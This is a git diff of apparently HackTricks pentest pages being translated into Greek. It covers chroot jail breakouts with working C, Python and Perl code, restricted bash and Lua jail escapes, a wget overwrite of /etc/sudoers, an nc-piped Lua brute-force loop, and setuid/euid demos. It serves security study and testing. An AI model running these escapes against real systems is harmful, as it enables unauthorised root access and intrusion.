συστήματα, τα συμφραζόμενα chroot δεν στοιβάζονται σωστά και τα chrooted προγράμματα **με επαρκή δικαιώματα μπορεί να εκτελέσουν ένα δεύτερο chroot για να σπάσουν**.\ +Συνήθως αυτό σημαίνει ότι για να διαφύγετε πρέπει να είστε root μέσα στο chroot. > [!TIP] -> The **tool** [**chw00t**](https://github.com/earthquake/chw00t) was created to abuse the following escenarios and scape from `chroot`. +> Το **εργαλείο** [**chw00t**](https://github.com/earthquake/chw00t) δημιουργήθηκε για να εκμεταλλευτεί τα παρακάτω σενάρια και να διαφύγει από το `chroot`. ### Root + CWD > [!WARNING] -> If you are **root** inside a chroot you **can escape** creating **another chroot**. This because 2 chroots cannot coexists (in Linux), so if you create a folder and then **create a new chroot** on that new folder being **you outside of it**, you will now be **outside of the new chroot** and therefore you will be in the FS. +> Αν είστε **root** μέσα σε ένα chroot μπορείτε **να διαφύγετε** δημιουργώντας **ένα άλλο chroot**. Αυτό συμβαίνει γιατί 2 chroots δεν μπορούν να συνυπάρξουν (σε Linux), οπότε αν δημιουργήσετε έναν φάκελο και στη συνέχεια **δημιουργήσετε ένα νέο chroot** σε αυτόν τον νέο φάκελο ενώ **είστε έξω από αυτό**, θα είστε τώρα **έξω από το νέο chroot** και επομένως θα είστε στο FS. > -> This occurs because usually chroot DOESN'T move your working directory to the indicated one, so you can create a chroot but e outside of it. +> Αυτό συμβαίνει γιατί συνήθως το chroot ΔΕΝ μετακινεί τον τρέχοντα κατάλογό σας στον υποδεικνυόμενο, οπότε μπορείτε να δημιουργήσετε ένα chroot αλλά να είστε έξω από αυτό. -Usually you won't find the `chroot` binary inside a chroot jail, but you **could compile, upload and execute** a binary: +Συνήθως δεν θα βρείτε το δυαδικό `chroot` μέσα σε μια chroot φυλακή, αλλά θα **μπορούσατε να μεταγλωττίσετε, να ανεβάσετε και να εκτελέσετε** ένα δυαδικό:
C: break_chroot.c - ```c #include #include @@ -36,61 +35,55 @@ Usually you won't find the `chroot` binary inside a chroot jail, but you **could int main(void) { - mkdir("chroot-dir", 0755); - chroot("chroot-dir"); - for(int i = 0; i < 1000; i++) { - chdir(".."); - } - chroot("."); - system("/bin/bash"); +mkdir("chroot-dir", 0755); +chroot("chroot-dir"); +for(int i = 0; i < 1000; i++) { +chdir(".."); +} +chroot("."); +system("/bin/bash"); } ``` -
Python - ```python #!/usr/bin/python import os os.mkdir("chroot-dir") os.chroot("chroot-dir") for i in range(1000): - os.chdir("..") +os.chdir("..") os.chroot(".") os.system("/bin/bash") ``` -
Perl - ```perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { - chdir ".." +chdir ".." } chroot "."; system("/bin/bash"); ``` -
### Root + Saved fd > [!WARNING] -> This is similar to the previous case, but in this case the **attacker stores a file descriptor to the current directory** and then **creates the chroot in a new folder**. Finally, as he has **access** to that **FD** **outside** of the chroot, he access it and he **escapes**. +> Αυτό είναι παρόμοιο με την προηγούμενη περίπτωση, αλλά σε αυτή την περίπτωση ο **επιτιθέμενος αποθηκεύει έναν περιγραφέα αρχείου στον τρέχοντα φάκελο** και στη συνέχεια **δημιουργεί το chroot σε έναν νέο φάκελο**. Τελικά, καθώς έχει **πρόσβαση** σε αυτόν τον **FD** **έξω** από το chroot, έχει πρόσβαση σε αυτόν και **διαφεύγει**.
C: break_chroot.c - ```c #include #include @@ -100,70 +93,68 @@ system("/bin/bash"); int main(void) { - mkdir("tmpdir", 0755); - dir_fd = open(".", O_RDONLY); - if(chroot("tmpdir")){ - perror("chroot"); - } - fchdir(dir_fd); - close(dir_fd); - for(x = 0; x < 1000; x++) chdir(".."); - chroot("."); +mkdir("tmpdir", 0755); +dir_fd = open(".", O_RDONLY); +if(chroot("tmpdir")){ +perror("chroot"); +} +fchdir(dir_fd); +close(dir_fd); +for(x = 0; x < 1000; x++) chdir(".."); +chroot("."); } ``` -
### Root + Fork + UDS (Unix Domain Sockets) > [!WARNING] -> FD can be passed over Unix Domain Sockets, so: +> FD μπορεί να περαστεί μέσω Unix Domain Sockets, οπότε: > -> - Create a child process (fork) -> - Create UDS so parent and child can talk -> - Run chroot in child process in a different folder -> - In parent proc, create a FD of a folder that is outside of new child proc chroot -> - Pass to child procc that FD using the UDS -> - Child process chdir to that FD, and because it's ouside of its chroot, he will escape the jail +> - Δημιουργήστε μια διαδικασία παιδί (fork) +> - Δημιουργήστε UDS ώστε ο γονέας και το παιδί να μπορούν να μιλούν +> - Εκτελέστε chroot στη διαδικασία παιδιού σε διαφορετικό φάκελο +> - Στη διαδικασία γονέα, δημιουργήστε ένα FD ενός φακέλου που είναι εκτός του νέου chroot της διαδικασίας παιδιού +> - Περάστε στη διαδικασία παιδιού αυτό το FD χρησιμοποιώντας το UDS +> - Η διαδικασία παιδιού chdir σε αυτό το FD, και επειδή είναι εκτός του chroot της, θα διαφύγει από τη φυλακή ### Root + Mount > [!WARNING] > -> - Mounting root device (/) into a directory inside the chroot -> - Chrooting into that directory +> - Τοποθέτηση της ρίζας συσκευής (/) σε έναν φάκελο μέσα στο chroot +> - Chrooting σε αυτόν τον φάκελο > -> This is possible in Linux +> Αυτό είναι δυνατό σε Linux ### Root + /proc > [!WARNING] > -> - Mount procfs into a directory inside the chroot (if it isn't yet) -> - Look for a pid that has a different root/cwd entry, like: /proc/1/root -> - Chroot into that entry +> - Τοποθέτηση του procfs σε έναν φάκελο μέσα στο chroot (αν δεν είναι ήδη) +> - Αναζητήστε ένα pid που έχει διαφορετική είσοδο root/cwd, όπως: /proc/1/root +> - Chroot σε αυτήν την είσοδο ### Root(?) + Fork > [!WARNING] > -> - Create a Fork (child proc) and chroot into a different folder deeper in the FS and CD on it -> - From the parent process, move the folder where the child process is in a folder previous to the chroot of the children -> - This children process will find himself outside of the chroot +> - Δημιουργήστε ένα Fork (παιδική διαδικασία) και chroot σε έναν διαφορετικό φάκελο πιο βαθιά στο FS και CD σε αυτόν +> - Από τη διαδικασία γονέα, μετακινήστε τον φάκελο όπου βρίσκεται η διαδικασία παιδί σε έναν φάκελο προηγούμενο από το chroot των παιδιών +> - Αυτή η διαδικασία παιδί θα βρει τον εαυτό της εκτός του chroot ### ptrace > [!WARNING] > -> - Time ago users could debug its own processes from a process of itself... but this is not possible by default anymore -> - Anyway, if it's possible, you could ptrace into a process and execute a shellcode inside of it ([see this example](linux-capabilities.md#cap_sys_ptrace)). +> - Πριν από καιρό, οι χρήστες μπορούσαν να αποσφαλματώσουν τις δικές τους διαδικασίες από μια διαδικασία του εαυτού τους... αλλά αυτό δεν είναι πλέον δυνατό από προεπιλογή +> - Ούτως ή άλλως, αν είναι δυνατόν, μπορείτε να ptrace σε μια διαδικασία και να εκτελέσετε ένα shellcode μέσα σε αυτήν ([δείτε αυτό το παράδειγμα](linux-capabilities.md#cap_sys_ptrace)). ## Bash Jails ### Enumeration -Get info about the jail: - +Αποκτήστε πληροφορίες σχετικά με τη φυλακή: ```bash echo $SHELL echo $PATH @@ -171,65 +162,52 @@ env export pwd ``` +### Τροποποίηση του PATH -### Modify PATH - -Check if you can modify the PATH env variable - +Ελέγξτε αν μπορείτε να τροποποιήσετε τη μεταβλητή περιβάλλοντος PATH ```bash echo $PATH #See the path of the executables that you can use PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path echo /home/* #List directory ``` - -### Using vim - +### Χρησιμοποιώντας το vim ```bash :set shell=/bin/sh :shell ``` +### Δημιουργία σεναρίου -### Create script - -Check if you can create an executable file with _/bin/bash_ as content - +Ελέγξτε αν μπορείτε να δημιουργήσετε ένα εκτελέσιμο αρχείο με _/bin/bash_ ως περιεχόμενο ```bash red /bin/bash > w wx/path #Write /bin/bash in a writable and executable path ``` +### Πάρε bash από SSH -### Get bash from SSH - -If you are accessing via ssh you can use this trick to execute a bash shell: - +Αν αποκτάς πρόσβαση μέσω ssh, μπορείς να χρησιμοποιήσεις αυτό το κόλπο για να εκτελέσεις ένα bash shell: ```bash ssh -t user@ bash # Get directly an interactive shell ssh user@ -t "bash --noprofile -i" ssh user@ -t "() { :; }; sh -i " ``` - -### Declare - +### Δηλώστε ```bash declare -n PATH; export PATH=/bin;bash -i BASH_CMDS[shell]=/bin/bash;shell -i ``` - ### Wget -You can overwrite for example sudoers file - +Μπορείτε να αντικαταστήσετε, για παράδειγμα, το αρχείο sudoers. ```bash wget http://127.0.0.1:8080/sudoers -O /etc/sudoers ``` - -### Other tricks +### Άλλες τεχνικές [**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\ [https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\ [https://gtfobins.github.io](https://gtfobins.github.io/**](https/gtfobins.github.io)\ -**It could also be interesting the page:** +**Θα μπορούσε επίσης να είναι ενδιαφέρον η σελίδα:** {{#ref}} ../bypass-bash-restrictions/ @@ -237,7 +215,7 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers ## Python Jails -Tricks about escaping from python jails in the following page: +Τεχνικές για την αποφυγή περιορισμών από python jails στη παρακάτω σελίδα: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ @@ -245,29 +223,22 @@ Tricks about escaping from python jails in the following page: ## Lua Jails -In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua_base](https://www.gammon.com.au/scripts/doc.php?general=lua_base) - -**Eval with command execution:** +Σε αυτή τη σελίδα μπορείτε να βρείτε τις παγκόσμιες συναρτήσεις στις οποίες έχετε πρόσβαση μέσα στο lua: [https://www.gammon.com.au/scripts/doc.php?general=lua_base](https://www.gammon.com.au/scripts/doc.php?general=lua_base) +**Eval με εκτέλεση εντολών:** ```bash load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))() ``` - -Some tricks to **call functions of a library without using dots**: - +Ορισμένα κόλπα για **να καλέσετε συναρτήσεις μιας βιβλιοθήκης χωρίς να χρησιμοποιήσετε τελείες**: ```bash print(string.char(0x41, 0x42)) print(rawget(string, "char")(0x41, 0x42)) ``` - -Enumerate functions of a library: - +Καταγράψτε τις λειτουργίες μιας βιβλιοθήκης: ```bash for k,v in pairs(string) do print(k,v) end ``` - -Note that every time you execute the previous one liner in a **different lua environment the order of the functions change**. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library: - +Σημειώστε ότι κάθε φορά που εκτελείτε την προηγούμενη μία γραμμή σε **διαφορετικό περιβάλλον lua η σειρά των συναρτήσεων αλλάζει**. Επομένως, αν χρειάζεται να εκτελέσετε μια συγκεκριμένη συνάρτηση, μπορείτε να εκτελέσετε μια επίθεση brute force φορτώνοντας διαφορετικά περιβάλλοντα lua και καλώντας την πρώτη συνάρτηση της βιβλιοθήκης: ```bash #In this scenario you could BF the victim that is generating a new lua environment #for every interaction with the following line and when you are lucky @@ -278,15 +249,12 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end #and "char" from string library, and the use both to execute a command for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done ``` - -**Get interactive lua shell**: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) calling: - +**Αποκτήστε διαδραστικό lua shell**: Εάν βρίσκεστε μέσα σε ένα περιορισμένο lua shell, μπορείτε να αποκτήσετε ένα νέο lua shell (και ελπίζουμε απεριόριστο) καλώντας: ```bash debug.debug() ``` +## Αναφορές -## References - -- [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slides: [https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions\_-_Bucsay_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)) +- [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Διαφάνειες: [https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions\_-_Bucsay_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/euid-ruid-suid.md b/src/linux-hardening/privilege-escalation/euid-ruid-suid.md index f9846b44b..c360c2caf 100644 --- a/src/linux-hardening/privilege-escalation/euid-ruid-suid.md +++ b/src/linux-hardening/privilege-escalation/euid-ruid-suid.md @@ -2,88 +2,80 @@ {{#include ../../banners/hacktricks-training.md}} -
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: +### Μεταβλητές Ταυτοποίησης Χρήστη -{% embed url="https://academy.8ksec.io/" %} +- **`ruid`**: Ο **πραγματικός αναγνωριστικός αριθμός χρήστη** δηλώνει τον χρήστη που ξεκίνησε τη διαδικασία. +- **`euid`**: Γνωστός ως ο **επιδραστικός αναγνωριστικός αριθμός χρήστη**, αντιπροσωπεύει την ταυτότητα χρήστη που χρησιμοποιείται από το σύστημα για να προσδιορίσει τα δικαιώματα της διαδικασίας. Γενικά, το `euid` αντικατοπτρίζει το `ruid`, εκτός από περιπτώσεις όπως η εκτέλεση ενός SetUID δυαδικού αρχείου, όπου το `euid` αναλαμβάνει την ταυτότητα του ιδιοκτήτη του αρχείου, παρέχοντας έτσι συγκεκριμένα δικαιώματα λειτουργίας. +- **`suid`**: Αυτός ο **αποθηκευμένος αναγνωριστικός αριθμός χρήστη** είναι κρίσιμος όταν μια διαδικασία υψηλών δικαιωμάτων (συνήθως εκτελείται ως root) χρειάζεται προσωρινά να παραιτηθεί από τα δικαιώματά της για να εκτελέσει ορισμένα καθήκοντα, μόνο για να ανακτήσει αργότερα την αρχική της ανυψωμένη κατάσταση. -### User Identification Variables +#### Σημαντική Σημείωση -- **`ruid`**: The **real user ID** denotes the user who initiated the process. -- **`euid`**: Known as the **effective user ID**, it represents the user identity utilized by the system to ascertain process privileges. Generally, `euid` mirrors `ruid`, barring instances like a SetUID binary execution, where `euid` assumes the file owner's identity, thus granting specific operational permissions. -- **`suid`**: This **saved user ID** is pivotal when a high-privilege process (typically running as root) needs to temporarily relinquish its privileges to perform certain tasks, only to later reclaim its initial elevated status. +Μια διαδικασία που δεν λειτουργεί υπό root μπορεί να τροποποιήσει το `euid` της μόνο για να ταιριάζει με το τρέχον `ruid`, `euid` ή `suid`. -#### Important Note +### Κατανόηση των Λειτουργιών set\*uid -A process not operating under root can only modify its `euid` to match the current `ruid`, `euid`, or `suid`. +- **`setuid`**: Αντίθετα με τις αρχικές υποθέσεις, το `setuid` τροποποιεί κυρίως το `euid` παρά το `ruid`. Συγκεκριμένα, για τις προνομιακές διαδικασίες, ευθυγραμμίζει το `ruid`, `euid` και `suid` με τον καθορισμένο χρήστη, συχνά τον root, εδραιώνοντας αποτελεσματικά αυτούς τους αναγνωριστικούς αριθμούς λόγω του υπερκαλύπτοντος `suid`. Λεπτομερείς πληροφορίες μπορούν να βρεθούν στη [σελίδα man του setuid](https://man7.org/linux/man-pages/man2/setuid.2.html). +- **`setreuid`** και **`setresuid`**: Αυτές οι λειτουργίες επιτρέπουν την λεπτομερή προσαρμογή των `ruid`, `euid` και `suid`. Ωστόσο, οι δυνατότητές τους εξαρτώνται από το επίπεδο προνομίων της διαδικασίας. Για διαδικασίες που δεν είναι root, οι τροποποιήσεις περιορίζονται στις τρέχουσες τιμές των `ruid`, `euid` και `suid`. Αντίθετα, οι διαδικασίες root ή αυτές με την ικανότητα `CAP_SETUID` μπορούν να αναθέσουν αυθαίρετες τιμές σε αυτούς τους αναγνωριστικούς αριθμούς. Περισσότερες πληροφορίες μπορούν να αντληθούν από τη [σελίδα man του setresuid](https://man7.org/linux/man-pages/man2/setresuid.2.html) και τη [σελίδα man του setreuid](https://man7.org/linux/man-pages/man2/setreuid.2.html). -### Understanding set\*uid Functions +Αυτές οι λειτουργίες σχεδιάστηκαν όχι ως μηχανισμός ασφαλείας αλλά για να διευκολύνουν τη σχεδιασμένη ροή λειτουργίας, όπως όταν ένα πρόγραμμα υιοθετεί την ταυτότητα ενός άλλου χρήστη αλλάζοντας τον επιδραστικό αναγνωριστικό αριθμό χρήστη του. -- **`setuid`**: Contrary to initial assumptions, `setuid` primarily modifies `euid` rather than `ruid`. Specifically, for privileged processes, it aligns `ruid`, `euid`, and `suid` with the specified user, often root, effectively solidifying these IDs due to the overriding `suid`. Detailed insights can be found in the [setuid man page](https://man7.org/linux/man-pages/man2/setuid.2.html). -- **`setreuid`** and **`setresuid`**: These functions allow for the nuanced adjustment of `ruid`, `euid`, and `suid`. However, their capabilities are contingent on the process's privilege level. For non-root processes, modifications are restricted to the current values of `ruid`, `euid`, and `suid`. In contrast, root processes or those with `CAP_SETUID` capability can assign arbitrary values to these IDs. More information can be gleaned from the [setresuid man page](https://man7.org/linux/man-pages/man2/setresuid.2.html) and the [setreuid man page](https://man7.org/linux/man-pages/man2/setreuid.2.html). +Είναι σημαντικό να σημειωθεί ότι ενώ το `setuid` μπορεί να είναι μια κοινή επιλογή για την ανύψωση προνομίων σε root (καθώς ευθυγραμμίζει όλους τους αναγνωριστικούς αριθμούς με τον root), η διάκριση μεταξύ αυτών των λειτουργιών είναι κρίσιμη για την κατανόηση και την χειραγώγηση των συμπεριφορών των αναγνωριστικών χρηστών σε διάφορα σενάρια. -These functionalities are designed not as a security mechanism but to facilitate the intended operational flow, such as when a program adopts another user's identity by altering its effective user ID. +### Μηχανισμοί Εκτέλεσης Προγραμμάτων στο Linux -Notably, while `setuid` might be a common go-to for privilege elevation to root (since it aligns all IDs to root), differentiating between these functions is crucial for understanding and manipulating user ID behaviors in varying scenarios. +#### **`execve` Κλήση Συστήματος** -### Program Execution Mechanisms in Linux +- **Λειτουργικότητα**: Το `execve` ξεκινά ένα πρόγραμμα, καθορισμένο από το πρώτο επιχείρημα. Δέχεται δύο πίνακες επιχειρημάτων, `argv` για τα επιχειρήματα και `envp` για το περιβάλλον. +- **Συμπεριφορά**: Διατηρεί τον χώρο μνήμης του καλούντος αλλά ανανεώνει τη στοίβα, το σωρό και τα τμήματα δεδομένων. Ο κώδικας του προγράμματος αντικαθίσταται από το νέο πρόγραμμα. +- **Διατήρηση Αναγνωριστικού Χρήστη**: +- `ruid`, `euid` και πρόσθετοι αναγνωριστικοί αριθμοί ομάδας παραμένουν αμετάβλητοι. +- Το `euid` μπορεί να έχει λεπτές αλλαγές αν το νέο πρόγραμμα έχει οριστεί το SetUID bit. +- Το `suid` ενημερώνεται από το `euid` μετά την εκτέλεση. +- **Τεκμηρίωση**: Λεπτομερείς πληροφορίες μπορούν να βρεθούν στη [σελίδα man του `execve`](https://man7.org/linux/man-pages/man2/execve.2.html). -#### **`execve` System Call** +#### **`system` Λειτουργία** -- **Functionality**: `execve` initiates a program, determined by the first argument. It takes two array arguments, `argv` for arguments and `envp` for the environment. -- **Behavior**: It retains the memory space of the caller but refreshes the stack, heap, and data segments. The program's code is replaced by the new program. -- **User ID Preservation**: - - `ruid`, `euid`, and supplementary group IDs remain unaltered. - - `euid` might have nuanced changes if the new program has the SetUID bit set. - - `suid` gets updated from `euid` post-execution. -- **Documentation**: Detailed information can be found on the [`execve` man page](https://man7.org/linux/man-pages/man2/execve.2.html). +- **Λειτουργικότητα**: Σε αντίθεση με το `execve`, το `system` δημιουργεί μια παιδική διαδικασία χρησιμοποιώντας το `fork` και εκτελεί μια εντολή μέσα σε αυτή την παιδική διαδικασία χρησιμοποιώντας το `execl`. +- **Εκτέλεση Εντολής**: Εκτελεί την εντολή μέσω του `sh` με `execl("/bin/sh", "sh", "-c", command, (char *) NULL);`. +- **Συμπεριφορά**: Καθώς το `execl` είναι μια μορφή του `execve`, λειτουργεί παρόμοια αλλά στο πλαίσιο μιας νέας παιδικής διαδικασίας. +- **Τεκμηρίωση**: Περισσότερες πληροφορίες μπορούν να αποκτηθούν από τη [σελίδα man του `system`](https://man7.org/linux/man-pages/man3/system.3.html). -#### **`system` Function** - -- **Functionality**: Unlike `execve`, `system` creates a child process using `fork` and executes a command within that child process using `execl`. -- **Command Execution**: Executes the command via `sh` with `execl("/bin/sh", "sh", "-c", command, (char *) NULL);`. -- **Behavior**: As `execl` is a form of `execve`, it operates similarly but in the context of a new child process. -- **Documentation**: Further insights can be obtained from the [`system` man page](https://man7.org/linux/man-pages/man3/system.3.html). - -#### **Behavior of `bash` and `sh` with SUID** +#### **Συμπεριφορά του `bash` και `sh` με SUID** - **`bash`**: - - Has a `-p` option influencing how `euid` and `ruid` are treated. - - Without `-p`, `bash` sets `euid` to `ruid` if they initially differ. - - With `-p`, the initial `euid` is preserved. - - More details can be found on the [`bash` man page](https://linux.die.net/man/1/bash). +- Έχει μια επιλογή `-p` που επηρεάζει το πώς αντιμετωπίζονται το `euid` και το `ruid`. +- Χωρίς `-p`, το `bash` ορίζει το `euid` στο `ruid` αν αρχικά διαφέρουν. +- Με `-p`, διατηρείται το αρχικό `euid`. +- Περισσότερες λεπτομέρειες μπορούν να βρεθούν στη [σελίδα man του `bash`](https://linux.die.net/man/1/bash). - **`sh`**: - - Does not possess a mechanism similar to `-p` in `bash`. - - The behavior concerning user IDs is not explicitly mentioned, except under the `-i` option, emphasizing the preservation of `euid` and `ruid` equality. - - Additional information is available on the [`sh` man page](https://man7.org/linux/man-pages/man1/sh.1p.html). +- Δεν διαθέτει μηχανισμό παρόμοιο με το `-p` στο `bash`. +- Η συμπεριφορά σχετικά με τους αναγνωριστικούς χρήστες δεν αναφέρεται ρητά, εκτός από την επιλογή `-i`, που τονίζει τη διατήρηση της ισότητας του `euid` και του `ruid`. +- Πρόσθετες πληροφορίες είναι διαθέσιμες στη [σελίδα man του `sh`](https://man7.org/linux/man-pages/man1/sh.1p.html). -These mechanisms, distinct in their operation, offer a versatile range of options for executing and transitioning between programs, with specific nuances in how user IDs are managed and preserved. +Αυτοί οι μηχανισμοί, διακριτοί στη λειτουργία τους, προσφέρουν μια ευέλικτη γκάμα επιλογών για την εκτέλεση και τη μετάβαση μεταξύ προγραμμάτων, με συγκεκριμένες λεπτομέρειες σχετικά με το πώς διαχειρίζονται και διατηρούνται οι αναγνωριστικοί αριθμοί χρηστών. -### Testing User ID Behaviors in Executions +### Δοκιμή Συμπεριφορών Αναγνωριστικού Χρήστη σε Εκτελέσεις -Examples taken from https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail, check it for further information +Παραδείγματα που ελήφθησαν από https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail, ελέγξτε το για περαιτέρω πληροφορίες -#### Case 1: Using `setuid` with `system` +#### Περίπτωση 1: Χρήση του `setuid` με `system` -**Objective**: Understanding the effect of `setuid` in combination with `system` and `bash` as `sh`. - -**C Code**: +**Στόχος**: Κατανόηση της επίδρασης του `setuid` σε συνδυασμό με το `system` και το `bash` ως `sh`. +**Κώδικας C**: ```c #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - system("id"); - return 0; +setuid(1000); +system("id"); +return 0; } ``` - -**Compilation and Permissions:** - +**Συγκέντρωση και Άδειες:** ```bash oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a; oxdf@hacky$ chmod 4755 /mnt/nfsshare/a @@ -93,132 +85,108 @@ oxdf@hacky$ chmod 4755 /mnt/nfsshare/a bash-4.2$ $ ./a uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**Ανάλυση:** -**Analysis:** +- `ruid` και `euid` ξεκινούν ως 99 (κανένας) και 1000 (frank) αντίστοιχα. +- `setuid` ευθυγραμμίζει και τους δύο στο 1000. +- `system` εκτελεί `/bin/bash -c id` λόγω του symlink από sh σε bash. +- `bash`, χωρίς `-p`, προσαρμόζει το `euid` ώστε να ταιριάζει με το `ruid`, με αποτέλεσμα και οι δύο να είναι 99 (κανένας). -- `ruid` and `euid` start as 99 (nobody) and 1000 (frank) respectively. -- `setuid` aligns both to 1000. -- `system` executes `/bin/bash -c id` due to the symlink from sh to bash. -- `bash`, without `-p`, adjusts `euid` to match `ruid`, resulting in both being 99 (nobody). - -#### Case 2: Using setreuid with system - -**C Code**: +#### Περίπτωση 2: Χρήση του setreuid με το system +**C Κώδικας**: ```c #define _GNU_SOURCE #include #include int main(void) { - setreuid(1000, 1000); - system("id"); - return 0; +setreuid(1000, 1000); +system("id"); +return 0; } ``` - -**Compilation and Permissions:** - +**Συγκέντρωση και Άδειες:** ```bash oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b ``` - -**Execution and Result:** - +**Εκτέλεση και Αποτέλεσμα:** ```bash bash-4.2$ $ ./b uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**Ανάλυση:** -**Analysis:** +- `setreuid` ορίζει τόσο το ruid όσο και το euid σε 1000. +- `system` καλεί το bash, το οποίο διατηρεί τα αναγνωριστικά χρηστών λόγω της ισότητας τους, λειτουργώντας αποτελεσματικά ως frank. -- `setreuid` sets both ruid and euid to 1000. -- `system` invokes bash, which maintains the user IDs due to their equality, effectively operating as frank. - -#### Case 3: Using setuid with execve - -Objective: Exploring the interaction between setuid and execve. +#### Περίπτωση 3: Χρήση setuid με execve +Στόχος: Εξερεύνηση της αλληλεπίδρασης μεταξύ setuid και execve. ```bash #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - execve("/usr/bin/id", NULL, NULL); - return 0; +setuid(1000); +execve("/usr/bin/id", NULL, NULL); +return 0; } ``` - -**Execution and Result:** - +**Εκτέλεση και Αποτέλεσμα:** ```bash bash-4.2$ $ ./c uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**Ανάλυση:** -**Analysis:** - -- `ruid` remains 99, but euid is set to 1000, in line with setuid's effect. - -**C Code Example 2 (Calling Bash):** +- `ruid` παραμένει 99, αλλά το euid έχει οριστεί σε 1000, σύμφωνα με την επίδραση του setuid. +**Παράδειγμα Κώδικα C 2 (Καλώντας Bash):** ```bash #define _GNU_SOURCE #include #include int main(void) { - setuid(1000); - execve("/bin/bash", NULL, NULL); - return 0; +setuid(1000); +execve("/bin/bash", NULL, NULL); +return 0; } ``` - -**Execution and Result:** - +**Εκτέλεση και Αποτέλεσμα:** ```bash bash-4.2$ $ ./d bash-4.2$ $ id uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 ``` +**Ανάλυση:** -**Analysis:** - -- Although `euid` is set to 1000 by `setuid`, `bash` resets euid to `ruid` (99) due to the absence of `-p`. - -**C Code Example 3 (Using bash -p):** +- Αν και το `euid` έχει οριστεί σε 1000 από το `setuid`, το `bash` επαναφέρει το euid σε `ruid` (99) λόγω της απουσίας του `-p`. +**Παράδειγμα Κώδικα C 3 (Χρησιμοποιώντας bash -p):** ```bash #define _GNU_SOURCE #include #include int main(void) { - char *const paramList[10] = {"/bin/bash", "-p", NULL}; - setuid(1000); - execve(paramList[0], paramList, NULL); - return 0; +char *const paramList[10] = {"/bin/bash", "-p", NULL}; +setuid(1000); +execve(paramList[0], paramList, NULL); +return 0; } ``` - -**Execution and Result:** - +**Εκτέλεση και Αποτέλεσμα:** ```bash bash-4.2$ $ ./e bash-4.2$ $ id uid=99(nobody) gid=99(nobody) euid=100 ``` - -## References +## Αναφορές - [https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail) -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index adbc66d3d..8b64c9c93 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -31,9 +31,9 @@ find / -perm -4000 2>/dev/null ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -Εκεί θα βρείτε ποιες ομάδες επιτρέπεται να εκτελούν **pkexec** και **κατά προεπιλογή** σε ορισμένες διανομές Linux εμφανίζονται οι ομάδες **sudo** και **admin**. +Εκεί θα βρείτε ποιες ομάδες επιτρέπεται να εκτελούν **pkexec** και **κατά προεπιλογή** σε ορισμένες διανομές linux οι ομάδες **sudo** και **admin** εμφανίζονται. -Για **να γίνετε root μπορείτε να εκτελέσετε**: +Για να **γίνετε root μπορείτε να εκτελέσετε**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` @@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null ``` ## Docker Group -Μπορείτε να **συνδέσετε το ριζικό σύστημα αρχείων της μηχανής φιλοξενίας σε έναν τόμο της παρουσίας**, έτσι ώστε όταν η παρουσία ξεκινά, να φορτώνει 